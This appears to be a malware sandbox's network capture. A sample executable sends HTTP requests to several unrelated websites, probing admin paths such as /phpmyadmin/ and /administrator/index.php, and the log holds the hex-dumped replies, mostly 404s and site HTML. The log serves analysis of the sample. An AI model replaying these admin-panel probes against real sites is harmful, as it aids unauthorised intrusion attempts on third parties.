2023-11-26 05:59:38 UTC	624	IN	Data Raw: 37 63 62 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c Data Ascii: 7cb5<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><link rel="pingback" href="https://hightideinc.com/xmlrpc.php" /><script type="text/javascript">document.documentElement.cl
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 22 22 29 3b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 62 6f 64 79 22 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 7d 3b 22 63 6f 6d 70 6c 65 74 65 22 21 3d 3d 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 3f 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 62 29 3a 77 69 6e 64 6f 77 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 77 69 6e 64 6f 77 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6c 6f 61 64 22 2c 62 29 3a 62 28 29 7d 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 22 65 74 2d 64 69 76 69 2d 75 73 65 72 66 6f 6e 74 73 22 3e 40 66 6f 6e 74 Data Ascii: "");document.getElementsByTagName("body")[0].appendChild(a)};"complete"!==document.readyState?window.addEventListener?window.addEventListener("load",b):window.attachEvent&&window.attachEvent("onload",b):b()}();</script><style id="et-divi-userfonts">@font
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 48 69 67 68 20 54 69 64 65 20 49 6e 63 2e 20 26 72 61 71 75 6f 3b 20 43 6f 6d 6d 65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 44 69 76 69 20 76 2e 34 2e 32 33 2e 31 22 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 77 70 2d Data Ascii: ttps://hightideinc.com/feed/" /><link rel="alternate" type="application/rss+xml" title="High Tide Inc. » Comments Feed" href="https://hightideinc.com/comments/feed/" /><meta content="Divi v.4.23.1" name="generator" /><link rel="stylesheet" id="wp-
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 6f 74 65 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 6f 74 65 5f 5f 63 69 74 61 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 31 32 35 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 75 70 70 65 72 63 61 73 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 7b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 2e 32 35 65 6d 20 73 6f 6c 69 64 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 37 35 65 6d 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 20 63 69 74 65 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 20 66 6f 6f 74 65 72 7b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 66 6f Data Ascii: oter,.wp-block-pullquote__citation{color:currentColor;font-size:.8125em;font-style:normal;text-transform:uppercase}.wp-block-quote{border-left:.25em solid;margin:0 0 1.75em;padding-left:1em}.wp-block-quote cite,.wp-block-quote footer{color:currentColor;fo
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 76 69 64 65 6f 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 76 69 64 65 6f 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 76 69 64 65 6f 7b 6d 61 72 67 69 6e 3a 30 20 30 20 31 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 74 65 6d 70 6c 61 74 65 2d 70 Data Ascii: -dark-theme .wp-block-table figcaption{color:hsla(0,0%,100%,.65)}.wp-block-video figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video figcaption{color:hsla(0,0%,100%,.65)}.wp-block-video{margin:0 0 1em}.wp-block-template-p
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 31 32 32 2c 32 32 30 2c 31 38 30 29 20 30 25 2c 72 67 62 28 30 2c 32 30 38 2c 31 33 30 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 2d 74 6f 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 61 28 32 35 32 2c 31 38 35 2c 30 2c 31 29 20 30 25 2c 72 67 62 61 28 32 35 35 2c 31 30 35 2c 30 2c 31 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 74 6f 2d 76 69 76 69 64 2d 72 65 64 3a Data Ascii: gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red:
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6d 65 64 69 75 6d 3a 20 32 30 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6c 61 72 67 65 3a 20 33 36 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 78 2d 6c 61 72 67 65 3a 20 34 32 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 32 30 3a 20 30 2e 34 34 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 33 30 3a 20 30 2e 36 37 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 34 30 3a 20 31 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 35 30 3a 20 31 2e 35 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 Data Ascii: font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spaci
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 6c 65 66 74 7b 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 30 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 32 65 6d 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 72 69 67 68 74 7b 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 32 65 6d 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 30 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 Data Ascii: .is-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-constrained > .aligncenter{margin-left: au
2023-11-26 05:59:38 UTC	1369	IN	Data Raw: 68 69 74 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 70 69 6e 6b 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 Data Ascii: hite) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orang

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.4	60052	34.240.130.5	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	181	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.harasduberry.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	231	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 73 74 72 69 63 74 2d 74 72 61 6e 73 70 6f 72 74 2d 73 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 36 30 34 38 30 30 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingstrict-transport-security: max-age=604800Server: nginx
2023-11-26 05:59:38 UTC	16153	IN	Data Raw: 31 66 33 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 66 72 2d 46 52 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 20 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 2e 6a 69 6d 63 64 6e 2e 63 6f 6d 2f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 20 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2e 6a 69 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e Data Ascii: 1f37<!DOCTYPE html><html lang="fr-FR"><head> <meta charset="utf-8"/> <link rel="dns-prefetch preconnect" href="https://u.jimcdn.com/" crossorigin="anonymous"/><link rel="dns-prefetch preconnect" href="https://assets.jimstatic.com/" crossorigin
2023-11-26 05:59:38 UTC	16384	IN	Data Raw: 76 61 75 78 20 c3 a0 20 76 65 6e 64 72 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 2f 6c 69 3e 3c 6c 69 0d 0a 31 66 66 32 0d 0a 20 69 64 3d 22 63 63 2d 6e 61 76 2d 76 69 65 77 2d 32 31 31 35 39 31 35 33 37 39 22 20 63 6c 61 73 73 3d 22 6a 6d 64 2d 6e 61 76 5f 5f 6c 69 73 74 2d 69 74 65 6d 2d 30 20 6a 2d 6e 61 76 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 22 3e 3c 61 20 68 72 65 66 3d 22 2f 69 6e 66 6f 73 2d 70 72 61 74 69 71 75 65 73 2d 70 61 72 2d 72 61 63 65 2f 22 20 64 61 74 61 2d 6c 69 6e 6b 2d 74 69 74 6c 65 3d 22 49 6e 66 6f 73 20 70 72 61 74 69 71 75 65 73 20 70 61 72 20 72 61 63 65 22 3e 49 6e 66 6f 73 20 70 72 61 74 69 71 75 65 73 20 70 61 72 20 72 61 63 65 3c 2f 61 3e 3c 73 70 61 6e 20 64 61 74 61 2d 6e 61 76 69 2d 74 6f 67 67 6c 65 3d 22 63 63 Data Ascii: vaux vendre</a></li></ul></li><li1ff2 id="cc-nav-view-2115915379" class="jmd-nav__list-item-0 j-nav-has-children"><a href="/infos-pratiques-par-race/" data-link-title="Infos pratiques par race">Infos pratiques par race</a><span data-navi-toggle="cc
2023-11-26 05:59:38 UTC	7295	IN	Data Raw: 6e 74 72 5c 75 30 30 66 34 6c 65 20 4a 69 6d 64 6f 5c 6e 5c 6e 4c 65 73 20 63 6f 6f 6b 69 0d 0a 31 63 35 32 0d 0a 65 73 20 64 65 20 63 6f 6e 74 72 5c 75 30 30 66 34 6c 65 20 4a 69 6d 64 6f 20 70 65 72 6d 65 74 74 65 6e 74 20 61 75 20 76 69 73 69 74 65 75 72 20 64 75 20 73 69 74 65 20 64 27 61 75 74 6f 72 69 73 65 72 20 6c 65 73 20 73 65 72 76 69 63 65 73 5c 2f 63 6f 6f 6b 69 65 73 20 73 5c 75 30 30 65 39 6c 65 63 74 69 6f 6e 6e 5c 75 30 30 65 39 73 20 65 74 20 65 6e 72 65 67 69 73 74 72 65 6e 74 20 6c 65 75 72 73 20 70 72 5c 75 30 30 65 39 66 5c 75 30 30 65 39 72 65 6e 63 65 73 20 65 6e 20 6d 61 74 69 5c 75 30 30 65 38 72 65 20 64 65 20 63 6f 6f 6b 69 65 73 2e 5c 6e 5c 6e 50 72 65 73 74 61 74 61 69 72 65 20 3a 5c 6e 4a 69 6d 64 6f 20 47 6d 62 48 2c 20 53 Data Ascii: ntr\u00f4le Jimdo\n\nLes cooki1c52es de contr\u00f4le Jimdo permettent au visiteur du site d'autoriser les services\/cookies s\u00e9lectionn\u00e9s et enregistrent leurs pr\u00e9f\u00e9rences en mati\u00e8re de cookies.\n\nPrestataire :\nJimdo GmbH, S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.4	59989	199.34.228.177	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	1356	OUT	GET /administrator/index.php HTTP/1.1 Host: www.gatewaytoearlylearning.com Accept: / Accept-Encoding: deflate, gzip Cookie: PublishedSiteSession=eyJpdiI6Imo1aVN2WVJmWnBrNnZqSXJrYXFoblE9PSIsInZhbHVlIjoidVNWYlV1bDRTdmFsRnQ0anV4Zy9kK3RTUXdEQVFwV1I5OXo1Z0hKUTBWbWxoeFNDUGEwM3F0d1Y2d29pZFZoZm5GQUloWURIUW1SRUo0aHQ5Ry8xTEhUejRwYndPNVlGSDdtbXZMUkxVbjcwNmxQTVpKSnV1dVZsQ3B5ajZnOTkiLCJtYWMiOiJjZWU3NTQ4MWIwNzUyNDE5MDQ3NWZjNGY3YjYwMWJiZjMwNzk4ZDZmOGU2ZjFhYTNkNzA5N2RkOTgwNzBlMmJiIiwidGFnIjoiIn0%3D; publishedsite-xsrf=eyJpdiI6InZhbDJwVnlLUWhubGJIVTRxS1RyS3c9PSIsInZhbHVlIjoibEtHV0dCVjhVZFFxdXVPckRoandqSmJIM2VpRWo3WkE2ejZGY2pQbU5MVDEyaUwxT3czZzd6T2tYUFc2WjNmYm83eGJpaCtkTnU2eW1zMmcxN3N5eHJlbjdPL1drOGwyOUw5TjhsM0k1MnBoWDhYOHJucU5VWGN6Z3lZOC9qejUiLCJtYWMiOiJkYmI0NTNiNTQ5YzNhYzUxNjUyMDM2MWNlM2QzYzYxNGMyZTJhMWY2MzYyYWNiN2JjNzQ2ODI5NzJlMjU2MGQ0IiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IkxXaFVUaFNtTzd2ZGkvek9mQ0hvQmc9PSIsInZhbHVlIjoiZmhtK2lrVUlvZjdVZHpFVWVmMjR6b0VFRVYwWWdxaXNkRmpTQ202R0hubjNUM2czRThCblFXTXNOVjhQNC9kdS8yMmhialBBNGtpcW05eDZ0NDJzMGFDZ2VUemRuU2dvU01pdUNUdGEwc0wvUFRqdUt3MFl6RFlkblFaTWhZQy8iLCJtYWMiOiI2ZTM3MmEwZmUyNWQ5ZDgyYTFhNWQwMDg4OWNkNTdlNmI5ZDJhZmM1MzcwMzM3NDgxZjBlNDI5MTllNTVlN2VjIiwidGFnIjoiIn0%3D User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://www.gatewaytoearlylearning.com/administrator
2023-11-26 05:59:38 UTC	1123	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 70 75 62 6c 69 73 68 65 64 73 69 74 65 2d 78 73 72 66 Data Ascii: HTTP/1.1 404 Not FoundServer: nginxContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingCache-Control: no-cache, privateDate: Sun, 26 Nov 2023 05:59:38 GMTSet-Cookie: publishedsite-xsrf
2023-11-26 05:59:38 UTC	607	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 75 62 6c 69 73 68 65 64 53 69 74 65 53 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 64 50 63 57 6c 77 65 48 46 61 59 6d 70 59 64 46 5a 6b 52 57 4e 69 4d 7a 4a 51 53 55 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 64 45 6f 78 52 48 4d 33 4e 45 74 46 59 7a 4a 46 59 57 52 77 54 54 42 49 5a 79 39 6b 54 7a 4a 36 4c 30 6f 7a 55 6a 4a 76 62 30 4d 34 53 6d 74 4b 56 47 35 70 55 33 63 32 63 56 56 6f 57 47 4a 46 59 6b 56 68 61 57 31 6a 51 55 78 79 56 31 6c 4d 62 56 4e 35 4e 33 68 5a 4d 58 52 77 4d 48 70 4a 4d 45 46 76 4e 7a 4a 74 51 33 70 6f 52 69 74 49 63 46 4a 6d 4e 48 56 61 4c 7a 56 6f 4f 43 74 49 65 6e 70 30 4f 53 39 70 53 57 67 77 4d 6b 78 71 51 54 64 4c 5a 57 4a 48 55 31 46 48 63 54 56 5a 4b 33 4d 33 65 58 Data Ascii: Set-Cookie: PublishedSiteSession=eyJpdiI6ImdPcWlweHFaYmpYdFZkRWNiMzJQSUE9PSIsInZhbHVlIjoidEoxRHM3NEtFYzJFYWRwTTBIZy9kTzJ6L0ozUjJvb0M4SmtKVG5pU3c2cVVoWGJFYkVhaW1jQUxyV1lMbVN5N3hZMXRwMHpJMEFvNzJtQ3poRitIcFJmNHVaLzVoOCtIenp0OS9pSWgwMkxqQTdLZWJHU1FHcTVZK3M3eX
2023-11-26 05:59:38 UTC	1580	IN	Data Raw: 36 32 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 20 41 72 69 61 6c 2c 20 73 61 Data Ascii: 620<!doctype html><html><head> <title>404 - Page Not Found</title> <style type="text/css"> html, body { height: 100%; margin: 0; padding: 0; font-family: Roboto, Helvetica Neue, Arial, sa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
212	192.168.2.4	60415	72.167.58.161	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:38 UTC	172	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: webstamp.ca Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:38 UTC	275	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 75 70 67 72 61 64 65 2d 69 6e 73 65 63 75 72 65 2d 72 65 71 75 65 73 74 73 3b 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 74 65 6e 74 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:38 GMTServer: ApacheContent-Security-Policy: upgrade-insecure-requests;Upgrade: h2,h2cConnection: Upgrade, closeAccept-Ranges: bytesVary: Accept-EncodingTransfer-Encoding: chunkedContent
